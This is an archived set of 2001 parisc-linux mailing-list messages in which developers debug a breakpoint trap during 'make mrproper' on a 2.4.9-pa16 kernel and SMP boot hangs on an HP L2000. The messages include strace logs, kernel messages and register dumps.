X-Authentication-Warning: webmail4.xs4all.nl: nobody set sender to thunder7@xs4all.nl using -f
Original-Received: from 212.153.94.193
        (SquirrelMail authenticated user thunder7)
        by webmail.xs4all.nl with HTTP;
        Fri, 7 Sep 2001 09:30:36 +0200 (CEST)
X-Mailer: SquirrelMail (version 1.1.3 [cvs])
Xref: news.gmane.org gmane.linux.ports.parisc:12140

Running the 2.4.9-pa16 kernel, I still get the 'Trace/breakpoint' trap
every time I run 'make mrproper' in my linux source directory.

One very significant difference w.r.t. 2.4.9-pa13 is that it doesn't
crash the machine anymore. Running it under gdb works fine. Running
it under strace produces an endless list of

sg_sigreturn(0) = 0

(about 547 lines or so)

and then a SIGILL (Illegal Instruction) trap.

I'm not at my machine at the moment, so the strace output is from 
memory.

It looks like this patch:
>Date: Thu, 6 Sep 2001 03:48:16 -0600 (MDT)
>From: John Marvin jsm@udlkern.fc.hp.com
>Subject: [parisc-linux-cvs] Patch for SMP support, etc.>
>A rather large patch that includes my current SMP support changes, plus
>a variety of other fixes/changes.

did something. But it's so large I'm not sure what exactly :-)

Jurriaan






From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Fri, 7 Sep 2001 09:39:56 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010907093956.C19441@linuxcare.com>
References: <20010905153917.M11744@linuxcare.com> <Pine.LNX.4.21.0109051415410.8790-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620467 25122 80.91.229.3 (22 Nov 2014 01:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 02:39:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C7C3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 02:39:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7F6F7B00C; Fri,  7 Sep 2001 09:39:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0109051415410.8790-100000@ns>; from nick@snowman.net on Wed, Sep 05, 2001 at 02:16:14PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12141

On Wed, Sep 05, 2001 at 02:16:14PM -0400, nick@snowman.net wrote:
> I only have one device connected (a single 1gig scsi disk), which appeared
> to work fine in HP-UX.  Are there any debugging options I could/should
> enable?

So you are installing from the network I guess (cdrom would be a second
device).  You should try the scsi-wrangling-magic as Carlos suggests,
just in case.

Richard

> > On Wed, Sep 05, 2001 at 10:19:37AM -0400, Carlos O'Donell Jr. wrote:
> > > We generally insert scsi-wrangling-magic as kernel parameters:
> > > 
> > > sim700=noneg:0xff,nodisc:0xff
> > > 
> > > And it works beautifully after that.




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Galen Arnold <arnoldg@ncsa.uiuc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: smp kernel hangs during boot on L2000 ... (fwd)
Date: Fri, 7 Sep 2001 08:42:56 -0500 (CDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109070842320.13232-100000@osage.ncsa.uiuc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620467 25125 80.91.229.3 (22 Nov 2014 01:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 07:43:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ex1.ncsa.uiuc.edu (ex1.ncsa.uiuc.edu [141.142.2.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DBFA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 07:43:03 -0600 (MDT)
Original-Received: from mx1.ncsa.uiuc.edu (mx1.ncsa.uiuc.edu [141.142.2.8])
	by ex1.ncsa.uiuc.edu (8.11.6/8.11.0) with ESMTP id f87DguU14030
	for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Sep 2001 08:42:56 -0500 (CDT)
X-Envelope-From: arnoldg@ncsa.uiuc.edu
X-Envelope-To: <parisc-linux@lists.parisc-linux.org>
Original-Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mx1.ncsa.uiuc.edu (8.11.6/8.11.0) with ESMTP id f87DguT21743
	for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Sep 2001 08:42:56 -0500 (CDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12142

---------- Forwarded message ----------
Date: Fri, 7 Sep 2001 07:31:05 -0600 (MDT)
From: John Marvin <jsm@udlkern.fc.hp.com>
To: arnoldg@ncsa.uiuc.edu
Subject: Re: smp kernel hangs during boot on L2000 ...


Galen,

>
> My L2000 box is hanging here with the smp 64bit
> kernel I've built:
>
> CPU(s): 2 x PA8600 (PCX-W+) at 540.000000 MHz
> Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
> Console: colour dummy device 160x64
> Initialized PDC Console for debu
>                                 ^^^^^hangs right there...
>

...

> Has anyone got an SMP kernel running on their L2000, and if so, could you
> send me your .config and palo.conf for comparison?

I've done most of my SMP development on a 4 CPU L2000.  So far I've only
tested a SMP kernel on a L2000 (64 bit) and a J5000 (32 & 64 bit).
However, I have 440 Mhz PA8500 CPU's.  That shouldn't make a significant
difference, other than some possible timing problem.  I'll try to test on
a 2 CPU A500 with PA8600 CPU's on Monday just in case.

I am using the standard config (arch/parisc/defconfig), with the exception
of defining CONFIG_SMP. I don't see any problem with your kernel command
line either.

One possibility is that you are not using a new enough compiler. There was
a compiler bug (64 bit kernels only) that seemed to manifest itself more
on SMP kernels.

The latest native cross compiler can be found at:

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/unofficial-debs/

The latest 386 cross compiler is at:

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tar.gz

however, last time I checked, the 386 cross compiler did not yet have the
fix in it. Matt Taggart was going to try to build a new one.

Note for those wanting to start using the SMP code. The CONFIG_SMP support
should be considered as a base for continued development. It still has
a variety of bugs and instabilities. When building linux kernels in a
continuous loop, 10 out of about 320 builds failed to generate a kernel.
The kernel will typically hang if you start swapping heavily. Another
known problem is that the support has not been implemented for a clean
SMP shutdown (should not be difficult to add if someone cares to work
on that before I get a chance).

There is also some code that is not optimal for performance, i.e. there
are a fair number of tuning possibilities. Some code specifically was
not optimized due to the intention of changing the design (for example
the single spinlock used for all tlb dirty bit updates).

John

P.S. I am assuming you can boot a non CONFIG_SMP kernel on your L2000.
Is that a correct assumption?





From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trace/Breakpoint trap on "make mrproper"
Date: Fri, 7 Sep 2001 07:56:42 -0600 (MDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200109071356.HAA22153@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620467 25126 80.91.229.3 (22 Nov 2014 01:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 07:56:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AD47482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 07:56:44 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id F40557C8
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 09:56:42 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id HAA22153
	for parisc-linux@lists.parisc-linux.org; Fri, 7 Sep 2001 07:56:42 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12143

>
> It looks like this patch:
> >Date: Thu, 6 Sep 2001 03:48:16 -0600 (MDT)
> >From: John Marvin jsm@udlkern.fc.hp.com
> >Subject: [parisc-linux-cvs] Patch for SMP support, etc.>
> >A rather large patch that includes my current SMP support changes, plus
> >a variety of other fixes/changes.
>
> did something. But it's so large I'm not sure what exactly :-)
>
> Jurriaan
>

I was pretty sure my changes to handle_break (in traps.c) would fix that
problem.  When I read your note I remembered that I had seen a similar
problem and fixed it.  The kernel would hang when a user program executed
a break instruction (either intentionally or not) without an attached
debugger. That is the problem you were seeing.

However, now that the machine doesn't hang, I am not sure if the remaining
problem you are seeing is a kernel bug or a userland bug.  It would appear
that you are executing 0's (0x00000000 is a break instruction). That
should cause the kernel to send you a SIGTRAP signal. I just checked some
of your old mail, and it looks like you are getting a SIGTRAP. One thing
that looks strange is that you are getting signals delivered using stack
addresses both at ~0xfaf00000 and ~0xbff00000. I wonder if make is using
an alternate signal stack?

John




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: smp kernel hangs during boot on L2000 ... (fwd)
Date: Fri, 7 Sep 2001 17:13:11 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010907171311.D23780@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0109070842320.13232-100000@osage.ncsa.uiuc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620468 25131 80.91.229.3 (22 Nov 2014 01:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Galen Arnold <arnoldg@ncsa.uiuc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 10:13:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 398CF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 10:13:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15fOFj-0007f0-00; Fri, 07 Sep 2001 17:13:11 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0109070842320.13232-100000@osage.ncsa.uiuc.edu>; from arnoldg@ncsa.uiuc.edu on Fri, Sep 07, 2001 at 08:42:56AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12144

On Fri, Sep 07, 2001 at 08:42:56AM -0500, Galen Arnold forwarded:
> > Initialized PDC Console for debu
> >                                 ^^^^^hangs right there...
> >

> I've done most of my SMP development on a 4 CPU L2000.  So far I've only
> tested a SMP kernel on a L2000 (64 bit) and a J5000 (32 & 64 bit).
> However, I have 440 Mhz PA8500 CPU's.  That shouldn't make a significant
> difference, other than some possible timing problem.  I'll try to test on
> a 2 CPU A500 with PA8600 CPU's on Monday just in case.

I can't imagine that's likely either.  One difference is that I believe
a two-cpu L2k shows up with CPUs 0 and 3 rather than 0 and 1.  Maybe we have
a problem there.  John, could you try disabling cpus 1 and 2 on the L2k?

Galen, how about trying booting the same SMP kernel, but disable the
second CPU at the pdc prompt?  That might help narrow down the problem
a little.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trace/Breakpoint trap on "make mrproper"
Date: Fri, 7 Sep 2001 21:13:31 +0200
Lines: 223
Approved: news@gmane.org
Message-ID: <20010907211331.A6859@middle.of.nowhere>
References: <200109071356.HAA22153@udlkern.fc.hp.com>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620468 25133 80.91.229.3 (22 Nov 2014 01:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 13:13:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1D0F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 13:13:41 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA01231
	for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Sep 2001 21:13:39 +0200 (CEST)
Original-Received: (qmail 12147 invoked from network); 7 Sep 2001 19:13:34 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 7 Sep 2001 19:13:34 -0000
Original-Received: (qmail 15033 invoked by uid 500); 7 Sep 2001 19:13:31 -0000
Content-Disposition: inline
In-Reply-To: <200109071356.HAA22153@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12145

On Fri, Sep 07, 2001 at 07:56:42AM -0600, John Marvin wrote:
> >
> > It looks like this patch:
> > >Date: Thu, 6 Sep 2001 03:48:16 -0600 (MDT)
> > >From: John Marvin jsm@udlkern.fc.hp.com
> > >Subject: [parisc-linux-cvs] Patch for SMP support, etc.>
> > >A rather large patch that includes my current SMP support changes, plus
> > >a variety of other fixes/changes.
> >
> > did something. But it's so large I'm not sure what exactly :-)
> >
> > Jurriaan
> >
> 
> I was pretty sure my changes to handle_break (in traps.c) would fix that
> problem.  When I read your note I remembered that I had seen a similar
> problem and fixed it.  The kernel would hang when a user program executed
> a break instruction (either intentionally or not) without an attached
> debugger. That is the problem you were seeing.
> 
> However, now that the machine doesn't hang, I am not sure if the remaining
> problem you are seeing is a kernel bug or a userland bug.  It would appear
> that you are executing 0's (0x00000000 is a break instruction). That
> should cause the kernel to send you a SIGTRAP signal. I just checked some
> of your old mail, and it looks like you are getting a SIGTRAP. One thing
> that looks strange is that you are getting signals delivered using stack
> addresses both at ~0xfaf00000 and ~0xbff00000. I wonder if make is using
> an alternate signal stack?
> 
Well, I browsed the source of make-3.79.1 (the latest) and found the
following parts with 'signal' in them:

./job.c:              exit_sig = process_signal(hPID);
./job.c:extern sigset_t fatal_signal_set;
./job.c:  (void) sigprocmask (SIG_BLOCK, &fatal_signal_set, (sigset_t *) 0);
./job.c:  (void) sigblock (fatal_signal_mask);
./job.c:    (void) sigblock (fatal_signal_mask);
./job.c:    (void) sigsetmask (sigblock (0) & ~(fatal_signal_mask));
./job.c:			lib$signal(status);
./job.c:		lib$signal(status);
./job.c:		lib$signal(status);
./job.c:  signal (SIGCHLD,SIG_IGN);
./main.c:extern RETSIGTYPE fatal_error_signal PARAMS ((int sig));
./main.c:sigset_t fatal_signal_set;
./main.c:int fatal_signal_mask;
./main.c:debug_signal_handler (sig)
./main.c:  sigemptyset (&fatal_signal_set);
./main.c:#define	ADD_SIG(sig)	sigaddset (&fatal_signal_set, sig)
./main.c:#define	ADD_SIG(sig)	fatal_signal_mask |= sigmask (sig)
./main.c:  if (signal ((sig), fatal_error_signal) == SIG_IGN)			      \
./main.c:    (void) signal ((sig), SIG_IGN);					      \
./main.c:  (void) signal (SIGCHLD, SIG_DFL);
./main.c:  (void) signal (SIGCLD, SIG_DFL);
./main.c:#  define HANDLESIG(s) signal (s, child_handler)
./main.c:  (void) signal (SIGUSR1, debug_signal_handler);
./amiga.c:    if (SetSignal(0L,0L) & SIGBREAKF_CTRL_C)
./signame.c:  init_sig (SIGUSR1, "USR1", _("User defined signal 1"));
./signame.c:  init_sig (SIGUSR2, "USR2", _("User defined signal 2"));
./signame.c:  init_sig (SIGSTOP, "STOP", _("Stopped (signal)"));
./signame.c:  init_sig (SIGDANGER, "DANGER", _("Danger signal"));

I've snipped lots of comments etc., and I see no mention of 'stack'
anywhere.

[the following is all tested on a 32-bit linux-2.4.9-pa16 kernel, with
default configuration (CPU=PA8x00) and gcc-3.0.2 20010825]

I'll add the output of 'strace make mrproper', but even the operation of 
strace or gdb seems to change the nature of the bug:

gdb /usr/bin/make && run mrproper doesn't crash
strace -o ../make.log make mrproper doesn't crash
strace make mrproper > ../make2.log 2>&1 doesn't crash
strace make mrproper crashes
make mrproper crashes

So I'll include a part of the make2.log and indicate where it crashes:
This log has been run through 'uniq-c' - scroll down to the 6134 lines
of rt_sigreturn(0) and you'll see why. This is exactly the point where
it normally crashes - the exact number of 'sigreturn(0)' lines differs.
There's also some interesting kernel messages in /var/log/messages, I'll
add them below.

      1	newuname({sys="Linux", node="pa8200", ...}) = 0
      1	brk(0)                                  = 0x44000
      1	open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
      1	open("/etc/ld.so.cache", O_RDONLY)      = 3
      1	idle()                                  = 0
      1	mmap(NULL, 6556, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
      1	close(3)                                = 0
      1	open("/lib/libc.so.6", O_RDONLY)        = 3
      1	read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\300"..., 1024) = 1024
      1	idle()                                  = 0
      1	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
      1	mmap(NULL, 1417616, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002a000
      1	mprotect(0x40167000, 119184, PROT_NONE) = 0
      1	mmap(0x40176000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x13c000) = 0x40176000
      1	mmap(0x40181000, 12688, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40181000
      1	close(3)                                = 0
      1	mprotect(0x10000, 135168, PROT_READ|PROT_WRITE) = 0
      1	mprotect(0x10000, 135168, PROT_READ|PROT_EXEC) = 0
      1	munmap(0x40019000, 6556)                = 0
      1	getpid()                                = 284
      1	brk(0)                                  = 0x44000
      1	brk(0x44030)                            = 0x44030
      1	brk(0x45000)                            = 0x45000
      1	rt_sigaction(SIGHUP, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	rt_sigaction(SIGQUIT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	rt_sigaction(SIGINT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	rt_sigaction(SIGTERM, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	rt_sigaction(SIGXCPU, {0x40c2e, [HUP], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	rt_sigaction(SIGXFSZ, {0x40c2e, [INT], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
      1	getcwd("/home/jurriaan/source/linux", 4095) = 28
      1	ioperm(0x2cee4, 0xbff01d48, 0xbff01d48) = 0
      1	ioperm(0x2cef4, 0xbff01d48, 0xbff01d48) = -1 ENOENT (No such file or directory)
      1	ioperm(0x2cf08, 0xbff01d48, 0xbff01d48) = 0
      1	ioperm(0x2cee4, 0xbff01d48, 0xbff01d48) = 0
      1	rt_sigaction(SIGCHLD, {0x40dae, [], SA_INTERRUPT}, NULL, 8) = 0
      1	rt_sigaction(SIGUSR1, {0x40ace, [], SA_RESTART}, {SIG_DFL}, 8) = 0
      1	brk(0x46000)                            = 0x46000
      1	brk(0x47000)                            = 0x47000
      1	brk(0x48000)                            = 0x48000
      1	brk(0x49000)                            = 0x49000
      1	ioperm(0x2aabc, 0xbff01e88, 0xbff01e88) = 0
      1	open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
      1	idle()                                  = 0
      1	fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
      1	brk(0x4b000)                            = 0x4b000
      1	SYS_201(0x3, 0x48050, 0x1000, 0xd78beec7, 0) = 672
      1	SYS_201(0x3, 0x48050, 0x1000, 0x40178ca8, 0x2a0) = 0
      1	close(3)                                = 0
      1	open("Makefile", O_RDONLY|O_LARGEFILE)  = 3
      1	idle()                                  = 0
      1	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40019000
      1	read(3, "VERSION = 2\nPATCHLEVEL = 4\nSUBLE"..., 4096) = 4096
      1	pipe([4, 5])                            = 0
      1	fork()                                  = 285
      1	close(5)                                = 0
      1	read(4, "parisc\n", 200)                = 7
      1	read(4, "\230", 193)                    = -512
      1	--- SIGCHLD (Child exited) ---
      1	rt_sigreturn(0)                         = -1 EINTR (Interrupted system call)
      1	read(4, "", 193)                        = 0
      1	close(4)                                = 0
      1	wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 285
      1	pipe([4, 5])                            = 0
      1	fork()                                  = 288
      1	close(5)                                = 0
      1	read(4, "/bin/sh\n", 200)               = 8
      1	read(4, "", 192)                        = -512
      1	--- SIGCHLD (Child exited) ---
      1	rt_sigreturn(0)                         = -1 EINTR (Interrupted system call)
      1	read(4, "", 192)                        = 0
      1	close(4)                                = 0
      1	wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 288
      1	pipe([4, 5])                            = 0
      1	fork()                                  = 289
      1	--- SIGCHLD (Child exited) ---
      1	rt_sigreturn(0)                         = 289
      1	close(5)                                = 0
      1	read(4, "/home/jurriaan/source/linux\n", 200) = 28
      1	read(4, "", 172)                        = 0
      1	close(4)                                = 0
      1	wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 289
      1	read(3, "+= drivers/scsi/scsidrv.o\nDRIVER"..., 4096) = 4096
      1	brk(0x4c000)                            = 0x4c000
      1	open("arch/parisc/Makefile", O_RDONLY|O_LARGEFILE) = 4
      1	idle()                                  = 0
      1	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
      1	read(4, "#\n# parisc/Makefile\n#\n# This fil"..., 4096) = 3156
      1	pipe([5, 6])                            = 0
      1	fork()                                  = 290
      1	--- SIGCHLD (Child exited) ---
   6134	rt_sigreturn(0)                         = 290
      1	close(6)                                = 0
      1	read(5, "parisc\n", 200)                = 7
      1	read(5, "", 193)                        = 0
      1	close(5)                                = 0
      1	wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 290
      1	read(4, "", 4096)                       = 0
      1	brk(0x4d000)                            = 0x4d000
      1	close(4)                                = 0
      1	munmap(0x4001a000, 4096)                = 0
      1	read(3, "; ln -sf asm-$(ARCH) asm)\n\t@if ["..., 4096) = 4096

Here are the messages in /var/log/messages during a single 
strace make mrproper:

Sep  7 23:01:32 pa8200 kernel: 0 000004e1
Sep  7 23:01:33 pa8200 kernel: <0 000004e1
Sep  7 23:02:04 pa8200 last message repeated 36 times
Sep  7 23:03:06 pa8200 last message repeated 66 times
Sep  7 23:04:09 pa8200 last message repeated 82 times
Sep  7 23:05:11 pa8200 last message repeated 90 times
Sep  7 23:06:12 pa8200 last message repeated 82 times
Sep  7 23:06:19 pa8200 last message repeated 12 times
Sep  7 23:06:20 pa8200 kernel: <0 000004e1

I have different ones from earlier runs:

pa8200:/home/jurriaan/source# tail -f /var/log/messages
Sep  7 22:38:32 pa8200 kernel: VFS: Mounted root (ext2 filesystem) readonly.
Sep  7 22:38:32 pa8200 kernel: Adding Swap: 1041400k swap-space (priority -1)
Sep  7 22:38:32 pa8200 kernel: eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
Sep  7 22:55:54 pa8200 kernel: 0001 00000000 00040130
Sep  7 22:55:54 pa8200 kernel: 0001 00000000 00040130
Sep  7 22:56:30 pa8200 kernel: 0 000002e6
Sep  7 22:56:30 pa8200 kernel: <0 000002e6
Sep  7 22:56:34 pa8200 last message repeated 7 times
Sep  7 22:56:42 pa8200 kernel: 0001 00000000 00040130
Sep  7 22:57:16 pa8200 kernel: <0 000003dd
Sep  7 22:57:31 pa8200 last message repeated 25 times
Sep  7 22:57:53 pa8200 kernel: 0001 00000000 00040130
Sep  7 22:58:09 pa8200 kernel: 0001 00000000 00040130

What else can I do to help debugging this?

Greetings,
Jurriaan




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trace/Breakpoint trap on "make mrproper"]
Date: Fri, 7 Sep 2001 21:22:02 +0200
Lines: 128
Approved: news@gmane.org
Message-ID: <20010907212202.A15358@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620468 25138 80.91.229.3 (22 Nov 2014 01:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:08 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 13:22:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19E8D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 13:22:10 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA18945
	for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Sep 2001 21:22:08 +0200 (CEST)
Original-Received: (qmail 13798 invoked from network); 7 Sep 2001 19:22:04 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 7 Sep 2001 19:22:04 -0000
Original-Received: (qmail 16600 invoked by uid 500); 7 Sep 2001 19:22:02 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12146

Forgot to mention: I also have oopses in dmesg:


break 0x000002: pid=331 command='make'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001011
r0-3	 00000000 00040130 bff02598 bff024e8
r4-7	 000000c8 40176434 0004b6e0 bff022d0
r8-11	 00000001 bff022c8 000401ec bff02460
r12-15	 00000028 00000029 bff02360 00000002
r16-19	 00000000 00043130 0002a800 00000000
r20-23	 000000ad 40106c54 40178e50 40178e30
r24-27	 00000005 00000001 00000000 00040130
r28-31	 fffffffc 0004b6d8 bff02818 00019ca4
sr0-3	 000004e1 0000020f 00000000 000004e1
sr4-7	 000004e1 000004e1 000004e1 000004e1

